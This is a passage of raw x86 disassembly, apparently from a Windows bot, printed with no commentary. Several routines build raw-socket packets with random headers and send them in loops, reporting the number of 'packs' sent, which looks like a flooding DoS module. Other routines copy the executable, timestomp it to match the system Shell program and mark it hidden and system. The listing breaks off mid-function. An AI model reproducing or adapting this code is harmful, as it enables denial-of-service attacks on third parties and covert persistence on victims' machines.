mov word_675F4E, ax
call dword_4372E0
mov dword_675F50, eax
mov eax, dword_675F5C
and al, 5Fh
mov dword_675F54, ebx
or al, 50h
mov byte_675F82, bl
mov dword_675F5C, eax
call sub_429ACC
push 3
cdq
pop ecx
idiv ecx
mov dword_675F58, edx
call sub_429ACC
push 2
mov word_675F74, 4000h
cdq
pop ecx
mov word_675F70, bx
idiv ecx
mov word_675F76, bx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov byte_675F60, dl
call sub_429ACC
mov edi, eax
shl edi, 10h
call sub_429ACC
or edi, eax
push edi
call esi ; dword_4372C0
movzx eax, ax
mov edi, offset dword_6737B0
push 68h
push ebx
push edi
mov dword_675F50, eax
call sub_429690
mov ebx, offset byte_675F28
push 10h
push ebx
push edi
call sub_429350
mov eax, edi
push 10h
push eax
call sub_426E99
push 8
push offset dword_675F40
push edi
mov word_675F2A, ax
call sub_429350
push 1
push offset byte_675F3D
push offset byte_6737B9
call sub_429350
add esp, 38h
push 38h
call esi ; dword_4372C0
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push 2
push eax
push offset word_6737BA
call sub_429350
mov eax, offset dword_6737BC
push 38h
push offset word_675F4C
mov esi, eax
push eax
call sub_429350
push 44h
push esi
call sub_426E99
add esp, 20h
mov word_675F76, ax
lea eax, [ebp+arg_0]
push 10h
push eax
push 1
push 5Ch
push ebx
push [ebp+arg_10]
call dword_437290
xor eax, eax
pop edi
pop esi
inc eax
pop ebx
leave
retn
sub_426EEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427162 proc near ; CODE XREF: sub_4274B2+85p
var_210 = byte ptr -210h
var_80 = byte ptr -80h
var_7F = byte ptr -7Fh
var_64 = byte ptr -64h
var_54 = byte ptr -54h
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
mov esi, dword_4372BC
push edi
push [ebp+arg_0]
call esi ; dword_4372BC
push [ebp+arg_4]
mov [ebp+var_30], eax
call esi ; dword_4372BC
push 0Eh
mov [ebp+arg_4], eax
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_7F]
mov [ebp+var_80], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_210]
push eax
push 202h
call dword_4372B4
test eax, eax
jnz short loc_4271C9
xor esi, esi
inc esi
push esi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4372C4
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_4271D0
loc_4271C9: ; CODE XREF: sub_427162+48j
xor eax, eax
jmp loc_427317
; ---------------------------------------------------------------------------
loc_4271D0: ; CODE XREF: sub_427162+65j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_437288
cmp eax, 0FFFFFFFFh
jz loc_42730C
push 10h
lea eax, [ebp+var_44]
push ebx
push eax
call sub_429690
add esp, 0Ch
mov [ebp+var_44], 2
call sub_429ACC
mov esi, dword_4372C0
push eax
call esi ; dword_4372C0
mov edi, [ebp+var_30]
push 2Ch
mov [ebp+var_42], ax
mov [ebp+var_40], edi
mov [ebp+var_2C], 47h
call esi ; dword_4372C0
push ebx
mov [ebp+var_2A], ax
call esi ; dword_4372C0
mov [ebp+var_28], ax
mov eax, [ebp+arg_4]
push ebx
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 2
mov [ebp+var_22], bx
mov [ebp+var_2B], bl
mov [ebp+var_1C], edi
mov [ebp+var_20], eax
call esi ; dword_4372C0
push ebx
mov [ebp+var_18], ax
call esi ; dword_4372C0
push 1
mov [ebp+var_16], ax
mov [ebp+var_10], 11h
mov [ebp+var_F], 5
call esi ; dword_4372C0
push offset a0_0_0_0 ; "0.0.0.0"
mov [ebp+var_6], ax
mov [ebp+var_8], bl
mov [ebp+var_7], bl
call dword_4372BC
push 10h
mov [ebp+var_C], eax
pop esi
lea eax, [ebp+var_10]
push esi
push eax
lea eax, [ebp+var_80]
mov [ebp+var_4], edi
push eax
mov [ebp+var_E], bx
call sub_429350
lea eax, [ebp+var_80]
push esi
push eax
call sub_41E322
mov [ebp+var_E], ax
lea eax, [ebp+var_2C]
push 1Ch
push eax
lea eax, [ebp+var_80]
push eax
call sub_429350
lea eax, [ebp+var_10]
push esi
push eax
lea eax, [ebp+var_64]
push eax
call sub_429350
push 4
lea eax, [ebp+var_54]
push ebx
push eax
call sub_429690
lea eax, [ebp+var_80]
push 2Ch
push eax
call sub_41E322
add esp, 40h
push eax
call dword_4372A4
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 1Ch
push eax
lea eax, [ebp+var_80]
push eax
call sub_429350
add esp, 0Ch
lea eax, [ebp+var_44]
push esi
push eax
push ebx
lea eax, [ebp+var_80]
push 2Ch
push eax
push [ebp+arg_0]
call dword_437290
xor ebx, ebx
inc ebx
loc_42730C: ; CODE XREF: sub_427162+84j
push [ebp+arg_0]
call dword_4372D4
mov eax, ebx
loc_427317: ; CODE XREF: sub_427162+69j
pop edi
pop esi
pop ebx
leave
retn
sub_427162 endp
; =============== S U B R O U T I N E =======================================
sub_42731C proc near ; CODE XREF: sub_4274B2+ABp
var_194 = dword ptr -194h
var_190 = byte ptr -190h
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 194h
lea eax, [esp+194h+var_190]
push ebx
push ebp
push esi
push edi
push eax
push 202h
call dword_4372B4
test eax, eax
jnz loc_42748F
call sub_429ACC
push 38h
push 1
call sub_42B2CA
pop ecx
xor edi, edi
pop ecx
mov esi, eax
push 1
push edi
push edi
push 2
push 3
push 2
call dword_4372C4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [esp+1A4h+var_194], ebx
jz loc_42748F
push 38h
push edi
push esi
call sub_429690
mov edi, dword_4372C0
add esp, 0Ch
mov byte ptr [esi+0Ch], 5
mov byte ptr [esi], 4
push 7A69h
call edi ; dword_4372C0
push 2000h
mov [esi+8], ax
call edi ; dword_4372C0
mov ebp, [esp+1A4h+arg_8]
and byte ptr [esi+15h], 0
mov [esi+0Eh], ax
mov eax, [esp+1A4h+arg_4]
push 10h
push ebp
push 0
mov byte ptr [esi+14h], 80h
mov [esi+18h], eax
mov eax, [ebp+4]
push 31h
push esi
push ebx
mov ebx, dword_437290
mov [esi+1Ch], eax
and byte ptr [esi+21h], 0
mov byte ptr [esi+20h], 8
call ebx ; dword_437290
cmp eax, 0FFFFFFFFh
jz loc_42748F
push 38h
call edi ; dword_4372C0
push 1
mov [esi+4], ax
call edi ; dword_4372C0
push 21D9h
mov [esi+0Eh], ax
mov byte ptr [esi], 4
call edi ; dword_4372C0
push 2000h
mov [esi+8], ax
call edi ; dword_4372C0
or [esi+0Eh], ax
mov eax, [esp+1A4h+arg_4]
or byte ptr [esi+14h], 0FFh
and byte ptr [esi+15h], 0
mov [esi+18h], eax
mov eax, [ebp+4]
push 10h
push esi
mov [esi+1Ch], eax
call sub_426D0F
pop ecx
mov [esi+16h], ax
pop ecx
and byte ptr [esi+21h], 0
push 10h
push ebp
push 0
push 31h
push esi
mov byte ptr [esi+20h], 8
push [esp+1B8h+var_194]
call ebx ; dword_437290
cmp eax, 0FFFFFFFFh
jz short loc_42748F
push 38h
call edi ; dword_4372C0
push 1
mov [esi+4], ax
call edi ; dword_4372C0
push 2000h
mov [esi+0Eh], ax
call edi ; dword_4372C0
or [esi+0Eh], ax
push 20h
push esi
call sub_426D0F
pop ecx
mov [esi+16h], ax
pop ecx
and byte ptr [esi+20h], 0
and byte ptr [esi+21h], 0
push 10h
push ebp
push 0
push 34h
push esi
push [esp+1B8h+var_194]
call ebx ; dword_437290
cmp eax, 0FFFFFFFFh
jnz short loc_427493
loc_42748F: ; CODE XREF: sub_42731C+1Cj
; sub_42731C+4Fj ...
xor eax, eax
jmp short loc_4274A7
; ---------------------------------------------------------------------------
loc_427493: ; CODE XREF: sub_42731C+171j
push esi
call sub_429822
pop ecx
push [esp+1A4h+var_194]
call dword_4372D4
xor eax, eax
inc eax
loc_4274A7: ; CODE XREF: sub_42731C+175j
pop edi
pop esi
pop ebp
pop ebx
add esp, 194h
retn
sub_42731C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4274B2 proc near ; DATA XREF: sub_40A938+7DD1o
var_14C = dword ptr -14Ch
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 48h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
mov dword ptr [eax+11Ch], 1
mov eax, [ebp+var_14C]
mov [ebp+var_8], eax
lea eax, [ebp+var_148]
push eax
call sub_41E326
mov esi, dword_4372B8
pop ecx
mov edi, 0FFh
push edi
push 3
push 2
call esi ; dword_4372B8
mov [ebp+var_4], eax
lea eax, [ebp+var_2C]
push eax
xor ebx, ebx
lea eax, [ebp+var_148]
push ebx
push eax
call sub_426CA7
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_4276AD
cmp [ebp+var_44], ebx
mov [ebp+arg_0], ebx
jl short loc_427578
mov ebx, offset dword_457CD8
loc_42752F: ; CODE XREF: sub_4274B2+C4j
lea eax, [ebp+var_148]
push ebx
push eax
call sub_427162
call sub_426C5A
push eax
lea eax, [ebp+var_2C]
push eax
call sub_426D64
add esp, 10h
lea eax, [ebp+var_2C]
push eax
push ebx
call sub_41E326
pop ecx
push eax
push [ebp+var_4]
call sub_42731C
add esp, 0Ch
push 0Ah
call dword_43718C ; Sleep
inc [ebp+arg_0]
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_44]
jle short loc_42752F
loc_427578: ; CODE XREF: sub_4274B2+76j
and [ebp+arg_0], 0
lea eax, [ebp+var_148]
push eax
call sub_41E326
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
jz loc_4276AD
push 10h
lea eax, [ebp+var_1C]
push 0
push eax
call sub_429690
add esp, 0Ch
mov [ebp+var_1C], 2
mov [ebp+var_18], ebx
push [ebp+var_48]
call dword_4372C0
push 6
push 1
push 2
mov [ebp+var_1A], ax
call esi ; dword_4372B8
test eax, eax
mov [ebp+var_4], eax
jl loc_4276AD
push edi
push 3
push 2
call esi ; dword_4372B8
test eax, eax
mov [ebp+var_C], eax
jl loc_4276AD
lea eax, [ebp+var_1C]
push 10h
push eax
push [ebp+var_4]
call dword_4372C8
mov ebx, dword_4372D4
cmp eax, 0FFFFFFFFh
jnz short loc_4275FE
push [ebp+var_4]
call ebx ; dword_4372D4
loc_4275FE: ; CODE XREF: sub_4274B2+145j
push 3
call dword_43718C ; Sleep
cmp [ebp+var_44], 0
jz short loc_427640
loc_42760C: ; CODE XREF: sub_4274B2+18Cj
push [ebp+var_48]
lea eax, [ebp+var_148]
lea esi, [ebp+var_1C]
push eax
push [ebp+var_C]
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
movsd
call sub_426EEF
add esp, 1Ch
push 0Ah
call dword_43718C ; Sleep
inc [ebp+arg_0]
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_44]
jnz short loc_42760C
loc_427640: ; CODE XREF: sub_4274B2+158j
push [ebp+var_4]
call ebx ; dword_4372D4
push [ebp+var_3C]
call sub_42355A
cmp [ebp+var_34], 0
pop ecx
mov ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
mov edi, offset aSsoce0jbtxi ; "sSOce0JbTXI/"
mov esi, offset aSSSWithDPackS ; "%s %s (%s) with (%d) pack(s)"
jnz short loc_427688
cmp [ebp+var_38], 0
jnz short loc_42768E
push [ebp+var_44]
lea eax, [ebp+var_148]
push eax
push ebx
push edi
lea eax, [ebp+var_C8]
push esi
push eax
push [ebp+var_8]
call sub_41CD84
add esp, 1Ch
loc_427688: ; CODE XREF: sub_4274B2+1AFj
cmp [ebp+var_38], 0
jz short loc_4276AD
loc_42768E: ; CODE XREF: sub_4274B2+1B5j
push [ebp+var_44]
lea eax, [ebp+var_148]
push eax
push ebx
push edi
lea eax, [ebp+var_C8]
push esi
push eax
push [ebp+var_8]
call sub_41CD0E
add esp, 1Ch
loc_4276AD: ; CODE XREF: sub_4274B2+6Aj
; sub_4274B2+DCj ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_4274B2 endp
; =============== S U B R O U T I N E =======================================
sub_4276B6 proc near ; CODE XREF: sub_40A86F+47p
; sub_41E380+Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
mov esi, offset asc_43D938 ; " "
push edi
push esi
push [esp+10h+arg_4]
call sub_429B8E
mov edi, [esp+14h+arg_0]
xor ebx, ebx
inc ebx
pop ecx
cmp [esp+10h+arg_8], ebx
pop ecx
mov [edi], eax
jle short loc_4276F1
loc_4276D9: ; CODE XREF: sub_4276B6+39j
push esi
push 0
call sub_429B8E
pop ecx
mov [edi+ebx*4], eax
test eax, eax
pop ecx
jz short loc_4276F1
inc ebx
cmp ebx, [esp+0Ch+arg_8]
jl short loc_4276D9
loc_4276F1: ; CODE XREF: sub_4276B6+21j
; sub_4276B6+32j
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_4276B6 endp
; =============== S U B R O U T I N E =======================================
sub_4276F7 proc near ; CODE XREF: sub_40A938+4BEDp
; sub_40A938+4CAEp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43706C ; GetFileAttributesA
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_4276F7 endp
; =============== S U B R O U T I N E =======================================
sub_42770C proc near ; CODE XREF: sub_40A938+4CBFp
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43706C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jnz short loc_42771E
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42771E: ; CODE XREF: sub_42770C+Dj
movzx eax, al
shr eax, 4
and eax, 1
retn
sub_42770C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427728 proc near ; CODE XREF: sub_4277E9+EFp
var_110 = byte ptr -110h
var_C = byte ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 110h
push ebx
push esi
push edi
lea eax, [ebp+var_110]
push 104h
push eax
call dword_437134 ; GetWindowsDirectoryA
push 1
push offset aShell ; "Shell"
push offset aSoftwareMicr_5 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
push 80000002h
call sub_421277
xor ebx, ebx
add esp, 10h
cmp eax, ebx
jz short loc_4277E2
push eax
lea eax, [ebp+var_110]
push eax
call dword_437090 ; lstrcatA
mov esi, dword_43705C
mov edi, 80h
push ebx
push edi
push 3
push ebx
push 1
lea eax, [ebp+var_110]
push 80000000h
push eax
call esi ; dword_43705C
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz short loc_4277E2
lea ecx, [ebp+var_C]
push ecx
push ebx
push ebx
push eax
call dword_437130 ; GetFileTime
push [ebp+var_4]
call dword_437044 ; CloseHandle
push ebx
push edi
push 3
push ebx
push 2
push 40000000h
push [ebp+arg_0]
call esi ; dword_43705C
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4277E2
lea eax, [ebp+var_C]
push eax
push ebx
push ebx
push esi
call dword_43712C ; SetFileTime
push esi
call dword_437044 ; CloseHandle
xor eax, eax
inc eax
jmp short loc_4277E4
; ---------------------------------------------------------------------------
loc_4277E2: ; CODE XREF: sub_427728+3Bj
; sub_427728+71j ...
xor eax, eax
loc_4277E4: ; CODE XREF: sub_427728+B8j
pop edi
pop esi
pop ebx
leave
retn
sub_427728 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4277E9 proc near ; CODE XREF: sub_418D49+12Dp
; sub_422394+99p
var_30C = byte ptr -30Ch
var_208 = byte ptr -208h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 30Ch
push ebx
push esi
mov esi, 104h
lea eax, [ebp+var_208]
push esi
xor ebx, ebx
push eax
push ebx
call dword_437070 ; GetModuleHandleA
push eax
call dword_437178 ; GetModuleFileNameA
push [ebp+arg_4]
lea eax, [ebp+var_104]
push [ebp+arg_0]
push offset dword_445D48
push esi
push eax
call sub_429AEE
add esp, 14h
lea eax, [ebp+var_208]
push eax
lea eax, [ebp+var_30C]
push eax
call dword_4370A4 ; lstrcpyA
lea eax, [ebp+var_30C]
push eax
call dword_456E8C ; PathRemoveFileSpecA
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_208]
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jz loc_4278F7
lea eax, [ebp+var_104]
push eax
call dword_43706C ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_42788D
lea eax, [ebp+var_104]
push 80h
push eax
call dword_437068 ; SetFileAttributesA
loc_42788D: ; CODE XREF: sub_4277E9+90j
mov esi, dword_437064
push edi
push ebx
jmp short loc_4278BB
; ---------------------------------------------------------------------------
loc_427897: ; CODE XREF: sub_4277E9+E6j
call dword_43716C ; RtlGetLastWin32Error
test ebx, ebx
jnz short loc_4278D1
cmp eax, 20h
jz short loc_4278AB
cmp eax, 5
jnz short loc_4278D1
loc_4278AB: ; CODE XREF: sub_4277E9+BBj
xor ebx, ebx
push 3A98h
inc ebx
call dword_43718C ; Sleep
push 0
loc_4278BB: ; CODE XREF: sub_4277E9+ACj
lea eax, [ebp+var_104]
push eax
lea eax, [ebp+var_208]
push eax
call esi ; dword_437064
mov edi, eax
test edi, edi
jz short loc_427897
loc_4278D1: ; CODE XREF: sub_4277E9+B6j
; sub_4277E9+C0j
lea eax, [ebp+var_104]
push eax
call sub_427728
pop ecx
lea eax, [ebp+var_104]
push 7
push eax
call dword_437068 ; SetFileAttributesA
test edi, edi
pop edi
jz short loc_4278F7
xor eax, eax
inc eax
jmp short loc_4278F9
; ---------------------------------------------------------------------------
loc_4278F7: ; CODE XREF: sub_4277E9+7Aj
; sub_4277E9+107j
xor eax, eax
loc_4278F9: ; CODE XREF: sub_4277E9+10Cj
pop esi
pop ebx
leave
retn
sub_4277E9 endp
; =============== S U B R O U T I N E =======================================
sub_4278FD proc near ; CODE XREF: sub_420A75+B4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 40h
mov edx, offset dword_675FF8
pop ecx
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+4+arg_4]
pop edi
cmp eax, [esp+arg_8]
jg short loc_42792E
push esi
mov esi, edx
sub esi, eax
loc_42791C: ; CODE XREF: sub_4278FD+2Ej
mov ecx, [esp+4+arg_0]
mov cl, [eax+ecx]
mov [esi+eax], cl
inc eax
cmp eax, [esp+4+arg_8]
jle short loc_42791C
pop esi
loc_42792E: ; CODE XREF: sub_4278FD+18j
mov eax, edx
retn
sub_4278FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427931 proc near ; CODE XREF: sub_40A938+7A6p
; sub_40A938+7C3p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_4279BE
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_4279BE
cmp [ebp+arg_8], esi
jz short loc_4279BE
cmp byte ptr [eax], 0
jz short loc_4279BE
push ebx
push edi
call sub_436200
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_4279B9
push [ebp+arg_4]
push edi
call sub_42ADD0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4279B2
sub eax, edi
push eax
push edi
push ebx
call sub_429C40
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_4292D0
push eax
push [ebp+arg_8]
push ebx
call sub_429910
push [ebp+arg_4]
call sub_4292D0
add esp, 20h
add eax, esi
push eax
push ebx
call dword_437090 ; lstrcatA
push ebx
push edi
call dword_4370A4 ; lstrcpyA
mov esi, edi
loc_4279B2: ; CODE XREF: sub_427931+3Cj
push ebx
call sub_429822
pop ecx
loc_4279B9: ; CODE XREF: sub_427931+2Bj
mov eax, esi
pop ebx
jmp short loc_4279C0
; ---------------------------------------------------------------------------
loc_4279BE: ; CODE XREF: sub_427931+Cj
; sub_427931+13j ...
xor eax, eax
loc_4279C0: ; CODE XREF: sub_427931+8Bj
pop edi
pop esi
pop ebp
retn
sub_427931 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4279C4 proc near ; CODE XREF: sub_427A85+38p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
xor ebx, ebx
jmp short loc_4279F4
; ---------------------------------------------------------------------------
loc_4279DE: ; CODE XREF: sub_4279C4+36j
mov dl, [eax]
cmp dl, 3Fh
jz short loc_4279EF
cmp dl, 2Ah
jnz short loc_427A01
cmp dl, 3Fh
jnz short loc_4279F2
loc_4279EF: ; CODE XREF: sub_4279C4+1Fj
inc ecx
mov [edi], ecx
loc_4279F2: ; CODE XREF: sub_4279C4+29j
inc dword ptr [esi]
loc_4279F4: ; CODE XREF: sub_4279C4+18j
mov ecx, [edi]
mov eax, [esi]
cmp [ecx], bl
jnz short loc_4279DE
jmp short loc_427A01
; ---------------------------------------------------------------------------
loc_4279FE: ; CODE XREF: sub_4279C4+40j
inc eax
mov [esi], eax
loc_427A01: ; CODE XREF: sub_4279C4+24j
; sub_4279C4+38j
cmp byte ptr [eax], 2Ah
jz short loc_4279FE
mov ecx, [edi]
mov dl, [ecx]
cmp dl, bl
jnz short loc_427A23
cmp [eax], bl
jz short loc_427A16
xor eax, eax
jmp short loc_427A80
; ---------------------------------------------------------------------------
loc_427A16: ; CODE XREF: sub_4279C4+4Cj
cmp dl, bl
jnz short loc_427A23
cmp [eax], bl
jnz short loc_427A23
xor eax, eax
inc eax
jmp short loc_427A80
; ---------------------------------------------------------------------------
loc_427A23: ; CODE XREF: sub_4279C4+48j
; sub_4279C4+54j ...
push ecx
push eax
call sub_427A85
pop ecx
test eax, eax
pop ecx
jnz short loc_427A6A
loc_427A30: ; CODE XREF: sub_4279C4+A4j
inc dword ptr [edi]
mov eax, [edi]
jmp short loc_427A42
; ---------------------------------------------------------------------------
loc_427A36: ; CODE XREF: sub_4279C4+86j
cmp cl, 5Bh
jz short loc_427A4C
cmp dl, bl
jz short loc_427A4C
inc eax
mov [edi], eax
loc_427A42: ; CODE XREF: sub_4279C4+70j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jnz short loc_427A36
loc_427A4C: ; CODE XREF: sub_4279C4+75j
; sub_4279C4+79j
cmp [eax], bl
jz short loc_427A61
push eax
push dword ptr [esi]
call sub_427A85
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_427A66
; ---------------------------------------------------------------------------
loc_427A61: ; CODE XREF: sub_4279C4+8Aj
mov [ebp+var_4], ebx
xor eax, eax
loc_427A66: ; CODE XREF: sub_4279C4+9Bj
cmp eax, ebx
jnz short loc_427A30
loc_427A6A: ; CODE XREF: sub_4279C4+6Aj
mov eax, [edi]
cmp [eax], bl
jnz short loc_427A7D
mov eax, [esi]
cmp [eax], bl
jnz short loc_427A7D
mov [ebp+var_4], 1
loc_427A7D: ; CODE XREF: sub_4279C4+AAj
; sub_4279C4+B0j
mov eax, [ebp+var_4]
loc_427A80: ; CODE XREF: sub_4279C4+50j
; sub_4279C4+5Dj
pop edi
pop esi
pop ebx
leave
retn
sub_4279C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427A85 proc near ; CODE XREF: sub_4044F6+1AFp
; sub_4044F6+1CAp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor eax, eax
push esi
mov esi, [ebp+arg_0]
inc eax
jmp short loc_427ACC
; ---------------------------------------------------------------------------
loc_427A91: ; CODE XREF: sub_427A85+4Bj
cmp eax, 1
jnz short loc_427ADA
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_427ADA
cmp cl, 2Ah
jz short loc_427AB5
cmp cl, 3Fh
jz short loc_427AB0
xor eax, eax
cmp cl, dl
setz al
loc_427AB0: ; CODE XREF: sub_427A85+22j
inc [ebp+arg_4]
jmp short loc_427AC8
; ---------------------------------------------------------------------------
loc_427AB5: ; CODE XREF: sub_427A85+1Dj
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_4279C4
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_427AC8: ; CODE XREF: sub_427A85+2Ej
inc esi
mov [ebp+arg_0], esi
loc_427ACC: ; CODE XREF: sub_427A85+Aj
mov cl, [esi]
test cl, cl
jnz short loc_427A91
jmp short loc_427ADA
; ---------------------------------------------------------------------------
loc_427AD4: ; CODE XREF: sub_427A85+58j
cmp eax, 1
jnz short loc_427AF6
inc esi
loc_427ADA: ; CODE XREF: sub_427A85+Fj
; sub_427A85+18j ...
cmp byte ptr [esi], 2Ah
jz short loc_427AD4
cmp eax, 1
jnz short loc_427AF6
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_427AF6
cmp byte ptr [esi], 0
jnz short loc_427AF6
xor eax, eax
inc eax
jmp short loc_427AF8
; ---------------------------------------------------------------------------
loc_427AF6: ; CODE XREF: sub_427A85+52j
; sub_427A85+5Dj ...
xor eax, eax
loc_427AF8: ; CODE XREF: sub_427A85+6Fj
pop esi
pop ebp
retn
sub_427A85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427AFB proc near ; CODE XREF: sub_418EDB+15Fp
var_90 = byte ptr -90h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
mov edi, offset byte_445813
push 1
mov esi, offset dword_445714
push edi
push esi
push dword_445710
call sub_421277
add esp, 10h
test eax, eax
jz short loc_427B2B
push 7Fh
jmp short loc_427B9D
; ---------------------------------------------------------------------------
loc_427B2B: ; CODE XREF: sub_427AFB+2Aj
lea eax, [ebp+var_10]
push eax
call dword_437138 ; GetLocalTime
mov ax, [ebp+var_8]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja short loc_427BB0
mov ecx, offset aAm ; "AM"
movzx eax, ax
loc_427B4C: ; CODE XREF: sub_427AFB+BBj
push ecx
mov ebx, 80h
movzx ecx, [ebp+var_6]
push ecx
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "%.2d/%.2d/%4d, %.2d:%.2d %s"
lea eax, [ebp+var_90]
push ebx
push eax
call sub_429AEE
lea eax, [ebp+var_90]
push 1
push eax
push edi
push esi
push dword_445710
call sub_421340
add esp, 38h
test eax, eax
jz short loc_427BAB
push ebx
lea eax, [ebp+var_90]
loc_427B9D: ; CODE XREF: sub_427AFB+2Ej
push eax
push offset dword_6763F8
call sub_429C40
add esp, 0Ch
loc_427BAB: ; CODE XREF: sub_427AFB+99j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_427BB0: ; CODE XREF: sub_427AFB+47j
movzx eax, ax
sub eax, 0Ch
jmp short loc_427B4C
sub_427AFB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427BB8 proc near ; CODE XREF: sub_418D49+1Ap
; sub_427CE1+9Bp
var_80C = byte ptr -80Ch
var_40C = byte ptr -40Ch
var_20C = byte ptr -20Ch
var_108 = byte ptr -108h
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 80Ch
push esi
lea eax, [ebp+var_80C]
push edi
push eax
push 400h
call dword_4370A8 ; GetTempPathA
lea eax, [ebp+var_108]
push 104h
xor esi, esi
push eax
push esi
call dword_437070 ; GetModuleHandleA
push eax
call dword_437178 ; GetModuleFileNameA
call sub_429ACC
push 9
pop edi
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
push edx
call sub_429ACC
cdq
mov ecx, edi
idiv ecx
